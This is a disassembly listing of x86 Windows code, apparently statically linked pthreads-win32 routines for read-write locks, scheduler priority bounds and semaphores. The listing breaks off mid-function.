; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D170: ; CODE XREF: _294ADE7B:00401F05j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_42D22A
mov eax, [esi]
test eax, eax
jz loc_42D22A
cmp eax, 0FFFFFFFFh
jnz short loc_42D1A4
push esi
call sub_401794
add esp, 4
test eax, eax
jz short loc_42D1A4
cmp eax, 10h
jnz loc_42D22F
loc_42D1A4: ; CODE XREF: _294ADE7B:0042D18Cj
; _294ADE7B:0042D199j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_42D22A
push esi
call sub_40208B
add esp, 4
test eax, eax
jnz short loc_42D22F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_42D21D
lea edi, [esi+4]
push edi
call sub_40208B
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_42D1ED
push esi
call sub_4010AF
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D1ED: ; CODE XREF: _294ADE7B:0042D1DCj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010AF
mov edi, eax
add esp, 4
test edi, edi
jz short loc_42D21D
push esi
call sub_4010AF
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D21D: ; CODE XREF: _294ADE7B:0042D1CAj
; _294ADE7B:0042D20Cj
push esi
call sub_4010AF
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D22A: ; CODE XREF: _294ADE7B:0042D179j
; _294ADE7B:0042D183j ...
mov eax, 16h
loc_42D22F: ; CODE XREF: _294ADE7B:0042D19Ej
; _294ADE7B:0042D1BAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D280: ; CODE XREF: _294ADE7B:0040160Ej
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_42D34F
mov eax, [esi]
test eax, eax
jz loc_42D34F
cmp eax, 0FFFFFFFFh
jnz short loc_42D2B4
push esi
call sub_401794
add esp, 4
test eax, eax
jz short loc_42D2B4
cmp eax, 10h
jnz loc_42D354
loc_42D2B4: ; CODE XREF: _294ADE7B:0042D29Cj
; _294ADE7B:0042D2A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_42D34F
mov ebx, [esp+14h]
push ebx
push esi
call sub_401AC8
add esp, 8
test eax, eax
jnz short loc_42D354
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_42D342
lea edi, [esi+4]
push ebx
push edi
call sub_401AC8
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_42D312
cmp ebx, 274Ch
jnz short loc_42D303
inc dword ptr [esi+14h]
loc_42D303: ; CODE XREF: _294ADE7B:0042D2FEj
push esi
call sub_4010AF
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D312: ; CODE XREF: _294ADE7B:0042D2F6j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010AF
mov edi, eax
add esp, 4
test edi, edi
jz short loc_42D342
push esi
call sub_4010AF
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D342: ; CODE XREF: _294ADE7B:0042D2E3j
; _294ADE7B:0042D331j
push esi
call sub_4010AF
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D34F: ; CODE XREF: _294ADE7B:0042D289j
; _294ADE7B:0042D293j ...
mov eax, 16h
loc_42D354: ; CODE XREF: _294ADE7B:0042D2AEj
; _294ADE7B:0042D2D3j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D3A0: ; CODE XREF: _294ADE7B:00401555j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_42D496
mov eax, [esi]
test eax, eax
jz loc_42D496
cmp eax, 0FFFFFFFFh
jnz short loc_42D3D7
push esi
call sub_401794
add esp, 4
test eax, eax
jz short loc_42D3D7
cmp eax, 10h
jnz loc_42D49B
loc_42D3D7: ; CODE XREF: _294ADE7B:0042D3BFj
; _294ADE7B:0042D3CCj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_42D496
push esi
call sub_40208B
add esp, 4
test eax, eax
jnz loc_42D49B
lea ebp, [esi+4]
push ebp
call sub_40208B
mov edi, eax
add esp, 4
test edi, edi
jz short loc_42D41B
push esi
call sub_4010AF
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42D41B: ; CODE XREF: _294ADE7B:0042D407j
mov eax, [esi+10h]
test eax, eax
jnz short loc_42D48A
mov eax, [esi+14h]
test eax, eax
jle short loc_42D438
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_42D438: ; CODE XREF: _294ADE7B:0042D427j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_42D48A
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401799
push eax
call sub_4015D7
add esp, 0Ch
lea ebx, [esi+8]
loc_42D45B: ; CODE XREF: _294ADE7B:0042D470j
push ebp
push ebx
call sub_4011DB
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_42D472
mov eax, [esi+14h]
test eax, eax
jl short loc_42D45B
loc_42D472: ; CODE XREF: _294ADE7B:0042D469j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401109
add esp, 4
test edi, edi
pop ebx
jnz short loc_42D48D
mov [esi+0Ch], edi
loc_42D48A: ; CODE XREF: _294ADE7B:0042D420j
; _294ADE7B:0042D43Dj
inc dword ptr [esi+10h]
loc_42D48D: ; CODE XREF: _294ADE7B:0042D485j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42D496: ; CODE XREF: _294ADE7B:0042D3ACj
; _294ADE7B:0042D3B6j ...
mov eax, 16h
loc_42D49B: ; CODE XREF: _294ADE7B:0042D3D1j
; _294ADE7B:0042D3F1j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D500: ; CODE XREF: _294ADE7B:0040187Aj
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_42D601
mov eax, [esi]
test eax, eax
jz loc_42D601
cmp eax, 0FFFFFFFFh
jnz short loc_42D537
push esi
call sub_401794
add esp, 4
test eax, eax
jz short loc_42D537
cmp eax, 10h
jnz loc_42D606
loc_42D537: ; CODE XREF: _294ADE7B:0042D51Fj
; _294ADE7B:0042D52Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_42D601
mov edi, [esp+20h]
push edi
push esi
call sub_401AC8
add esp, 8
test eax, eax
jnz loc_42D606
lea ebp, [esi+4]
push edi
push ebp
call sub_401AC8
mov edi, eax
add esp, 8
test edi, edi
jz short loc_42D581
push esi
call sub_4010AF
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42D581: ; CODE XREF: _294ADE7B:0042D56Dj
mov eax, [esi+10h]
test eax, eax
jnz short loc_42D5F5
mov eax, [esi+14h]
test eax, eax
jle short loc_42D59E
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_42D59E: ; CODE XREF: _294ADE7B:0042D58Dj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_42D5F5
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401799
push eax
call sub_4015D7
add esp, 0Ch
lea ebx, [esi+8]
loc_42D5C1: ; CODE XREF: _294ADE7B:0042D5DBj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011B8
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_42D5DD
mov eax, [esi+14h]
test eax, eax
jl short loc_42D5C1
loc_42D5DD: ; CODE XREF: _294ADE7B:0042D5D4j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401109
add esp, 4
test edi, edi
pop ebx
jnz short loc_42D5F8
mov [esi+0Ch], edi
loc_42D5F5: ; CODE XREF: _294ADE7B:0042D586j
; _294ADE7B:0042D5A3j
inc dword ptr [esi+10h]
loc_42D5F8: ; CODE XREF: _294ADE7B:0042D5F0j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42D601: ; CODE XREF: _294ADE7B:0042D50Cj
; _294ADE7B:0042D516j ...
mov eax, 16h
loc_42D606: ; CODE XREF: _294ADE7B:0042D531j
; _294ADE7B:0042D556j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D660: ; CODE XREF: _294ADE7B:0040154Bj
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_42D6E6
mov esi, [eax]
test esi, esi
jz short loc_42D6E6
cmp esi, 0FFFFFFFFh
jnz short loc_42D67C
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D67C: ; CODE XREF: _294ADE7B:0042D674j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_42D6E6
mov eax, [esi+10h]
test eax, eax
jnz short loc_42D6C4
lea ebx, [esi+4]
push ebx
call sub_40208B
mov edi, eax
add esp, 4
test edi, edi
jz short loc_42D6A2
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D6A2: ; CODE XREF: _294ADE7B:0042D69Cj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_42D6B9
add esi, 8
push esi
call sub_401D16
add esp, 4
mov edi, eax
loc_42D6B9: ; CODE XREF: _294ADE7B:0042D6A9j
push ebx
call sub_4010AF
add esp, 4
jmp short loc_42D6DC
; ---------------------------------------------------------------------------
loc_42D6C4: ; CODE XREF: _294ADE7B:0042D68Aj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010AF
push esi
mov edi, eax
call sub_4010AF
add esp, 8
loc_42D6DC: ; CODE XREF: _294ADE7B:0042D6C2j
test edi, edi
jz short loc_42D6EB
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D6E6: ; CODE XREF: _294ADE7B:0042D669j
; _294ADE7B:0042D66Fj ...
mov eax, 16h
loc_42D6EB: ; CODE XREF: _294ADE7B:0042D6DEj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D720: ; CODE XREF: _294ADE7B:004014C9j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_42D7DA
mov eax, [esi]
test eax, eax
jz loc_42D7DA
cmp eax, 0FFFFFFFFh
jnz short loc_42D754
push esi
call sub_401794
add esp, 4
test eax, eax
jz short loc_42D754
cmp eax, 10h
jnz loc_42D7DF
loc_42D754: ; CODE XREF: _294ADE7B:0042D73Cj
; _294ADE7B:0042D749j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_42D7DA
push esi
call sub_4016DB
add esp, 4
test eax, eax
jnz short loc_42D7DF
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_42D7CD
lea edi, [esi+4]
push edi
call sub_40208B
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_42D79D
push esi
call sub_4010AF
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D79D: ; CODE XREF: _294ADE7B:0042D78Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010AF
mov edi, eax
add esp, 4
test edi, edi
jz short loc_42D7CD
push esi
call sub_4010AF
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D7CD: ; CODE XREF: _294ADE7B:0042D77Aj
; _294ADE7B:0042D7BCj
push esi
call sub_4010AF
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D7DA: ; CODE XREF: _294ADE7B:0042D729j
; _294ADE7B:0042D733j ...
mov eax, 16h
loc_42D7DF: ; CODE XREF: _294ADE7B:0042D74Ej
; _294ADE7B:0042D76Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D830: ; CODE XREF: _294ADE7B:00401E79j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_42D911
mov eax, [esi]
test eax, eax
jz loc_42D911
cmp eax, 0FFFFFFFFh
jnz short loc_42D864
push esi
call sub_401794
add esp, 4
test eax, eax
jz short loc_42D864
cmp eax, 10h
jnz loc_42D916
loc_42D864: ; CODE XREF: _294ADE7B:0042D84Cj
; _294ADE7B:0042D859j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_42D911
push esi
call sub_4016DB
add esp, 4
test eax, eax
jnz loc_42D916
lea ebx, [esi+4]
push ebx
call sub_4016DB
mov edi, eax
add esp, 4
test edi, edi
jz short loc_42D8A9
push esi
call sub_4010AF
add esp, 4
test eax, eax
jnz short loc_42D916
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D8A9: ; CODE XREF: _294ADE7B:0042D894j
mov eax, [esi+10h]
test eax, eax
jnz short loc_42D8F9
mov eax, [esi+14h]
test eax, eax
jle short loc_42D8C6
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_42D8C6: ; CODE XREF: _294ADE7B:0042D8B5j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_42D904
push ebx
call sub_4010AF
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_42D8EB
call sub_4010AF
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D8EB: ; CODE XREF: _294ADE7B:0042D8DBj
call sub_4010AF
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42D8FE
loc_42D8F9: ; CODE XREF: _294ADE7B:0042D8AEj
mov edi, 10h
loc_42D8FE: ; CODE XREF: _294ADE7B:0042D8F7j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D904: ; CODE XREF: _294ADE7B:0042D8CBj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42D911: ; CODE XREF: _294ADE7B:0042D839j
; _294ADE7B:0042D843j ...
mov eax, 16h
loc_42D916: ; CODE XREF: _294ADE7B:0042D85Ej
; _294ADE7B:0042D87Ej ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D960: ; CODE XREF: _294ADE7B:00401AF5j
mov eax, [esp+4]
push eax
call sub_401280
add esp, 4
test eax, eax
jz short loc_42D977
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42D977: ; CODE XREF: _294ADE7B:0042D96Fj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D9A0: ; CODE XREF: _294ADE7B:00401D61j
mov eax, [esp+4]
push eax
call sub_401280
add esp, 4
test eax, eax
jnz short loc_42D9C7
mov eax, [esp+8]
test eax, eax
jz short loc_42D9C7
cmp eax, 2
jbe short loc_42D9C7
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42D9C7: ; CODE XREF: _294ADE7B:0042D9AFj
; _294ADE7B:0042D9B7j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D9E0: ; CODE XREF: _294ADE7B:00401159j
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_401280
add esp, 4
test eax, eax
jnz short loc_42DA26
mov edi, [esp+14h]
test edi, edi
jz short loc_42DA26
mov esi, [edi]
push eax
call sub_4014E2
add esp, 4
cmp esi, eax
jl short loc_42DA26
push 0
call sub_4013E3
add esp, 4
cmp esi, eax
jg short loc_42DA26
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DA26: ; CODE XREF: _294ADE7B:0042D9F2j
; _294ADE7B:0042D9FAj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DA50: ; CODE XREF: _294ADE7B:00401DA2j
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
jnz short loc_42DA75
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42DA75
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42DA75: ; CODE XREF: _294ADE7B:0042DA60j
; _294ADE7B:0042DA68j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DA90: ; CODE XREF: _294ADE7B:00401541j
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
jz short loc_42DAA9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DAA9: ; CODE XREF: _294ADE7B:0042DAA0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42DABD
cmp eax, 1
jz short loc_42DABD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DABD: ; CODE XREF: _294ADE7B:0042DAAFj
; _294ADE7B:0042DAB4j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DAE0: ; CODE XREF: _294ADE7B:00401901j
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
jnz short loc_42DB05
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42DB05
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42DB05: ; CODE XREF: _294ADE7B:0042DAF0j
; _294ADE7B:0042DAF8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DB20 proc near ; CODE XREF: sub_40104Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_4016B3
add esp, 8
test eax, eax
jnz short loc_42DB65
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_42DB60
cmp eax, 2
jg short loc_42DB60
test eax, eax
jz short loc_42DB4C
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DB4C: ; CODE XREF: sub_42DB20+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_401F3C
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DB60: ; CODE XREF: sub_42DB20+1Aj
; sub_42DB20+1Fj
mov eax, 16h
loc_42DB65: ; CODE XREF: sub_42DB20+12j
pop esi
retn
sub_42DB20 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DB90 proc near ; CODE XREF: sub_401F3Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_4014E2
add esp, 4
cmp esi, eax
jl loc_42DC35
push edi
call sub_4013E3
add esp, 4
cmp esi, eax
jg short loc_42DC35
cmp esi, 0FFFFFFF1h
jle short loc_42DBD0
cmp esi, 0FFFFFFFEh
jge short loc_42DBD0
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_42DBE2
; ---------------------------------------------------------------------------
loc_42DBD0: ; CODE XREF: sub_42DB90+2Fj
; sub_42DB90+34j
cmp esi, 0Fh
jge short loc_42DBE2
cmp esi, 2
jle short loc_42DBE2
mov [esp+8+arg_8], 2
loc_42DBE2: ; CODE XREF: sub_42DB90+3Ej
; sub_42DB90+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_40208B
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42DC2E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
call ds:dword_4B380C
test eax, eax
jnz short loc_42DC22
push ebp
mov ebx, 16h
call sub_4010AF
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DC22: ; CODE XREF: sub_42DB90+7Bj
push ebp
mov [edi+28h], esi
call sub_4010AF
add esp, 4
loc_42DC2E: ; CODE XREF: sub_42DB90+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DC35: ; CODE XREF: sub_42DB90+19j
; sub_42DB90+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_42DB90 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DC70 proc near ; CODE XREF: sub_402004j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_4016B3
add esp, 8
test eax, eax
jnz short loc_42DCA9
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_42DCA4
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_42DCA4
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCA4: ; CODE XREF: sub_42DC70+1Bj
; sub_42DC70+23j
mov eax, 16h
loc_42DCA9: ; CODE XREF: sub_42DC70+12j
pop esi
retn
sub_42DC70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DCC0 proc near ; CODE XREF: sub_4013E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_42DCD3
cmp eax, 2
jg short loc_42DCD3
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_42DCD3: ; CODE XREF: sub_42DCC0+6j
; sub_42DCC0+Bj
call ds:dword_4B3A50
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_42DCC0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DD00 proc near ; CODE XREF: sub_4014E2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_42DD13
cmp eax, 2
jg short loc_42DD13
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_42DD13: ; CODE XREF: sub_42DD00+6j
; sub_42DD00+Bj
call ds:dword_4B3A50
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_42DD00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DD40: ; CODE XREF: _294ADE7B:004019E7j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42DD85
call ds:dword_4B3808
cmp esi, eax
jz short loc_42DD85
push esi
push 0
push 200h
call ds:dword_4B387C
test eax, eax
jnz short loc_42DD85
call ds:dword_4B3898
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call ds:dword_4B3A50
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD85: ; CODE XREF: _294ADE7B:0042DD47j
; _294ADE7B:0042DD51j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42DD9E
call ds:dword_4B3A50
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD9E: ; CODE XREF: _294ADE7B:0042DD8Bj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DDD0: ; CODE XREF: _294ADE7B:004014A6j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42DE15
call ds:dword_4B3808
cmp esi, eax
jz short loc_42DE15
push esi
push 0
push 400h
call ds:dword_4B387C
test eax, eax
jnz short loc_42DE15
call ds:dword_4B3898
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call ds:dword_4B3A50
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DE15: ; CODE XREF: _294ADE7B:0042DDD7j
; _294ADE7B:0042DDE1j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DE40: ; CODE XREF: _294ADE7B:00401A55j
push 0
call ds:dword_4B38CC
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DE60 proc near ; CODE XREF: sub_401B59j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_42DE7F
mov edi, 1
call ds:dword_4B3A50
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DE7F: ; CODE XREF: sub_42DE60+Aj
push 4
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_42DE97
mov edi, 0Ch
loc_42DE97: ; CODE XREF: sub_42DE60+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
call ds:dword_4B3804
test eax, eax
mov [esi], eax
jnz short loc_42DEC4
mov edi, 1Ch
call ds:dword_4B3A50
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DEC4: ; CODE XREF: sub_42DE60+4Fj
test edi, edi
jz short loc_42DED6
call ds:dword_4B3A50
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DED6: ; CODE XREF: sub_42DE60+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_42DE60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DF20 proc near ; CODE XREF: sub_4015FAj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_42DF45
mov esi, [edi]
test esi, esi
jz short loc_42DF45
mov dword ptr [edi], 0
mov eax, [esi]
push eax
call ds:dword_4B38C8
test eax, eax
jnz short loc_42DF57
mov [edi], esi
loc_42DF45: ; CODE XREF: sub_42DF20+8j
; sub_42DF20+Ej
call ds:dword_4B3A50
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DF57: ; CODE XREF: sub_42DF20+21j
push esi
call ds:dword_4B3AAC
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_42DF20 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DF90 proc near ; CODE XREF: sub_401096j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_42DFC3
mov eax, [eax]
test eax, eax
jz short loc_42DFC3
mov eax, [eax]
push 0
push eax
call ds:dword_4B3848
cmp eax, 102h
jnz short loc_42DFD5
mov esi, 0Bh
call ds:dword_4B3A50
mov [eax], esi
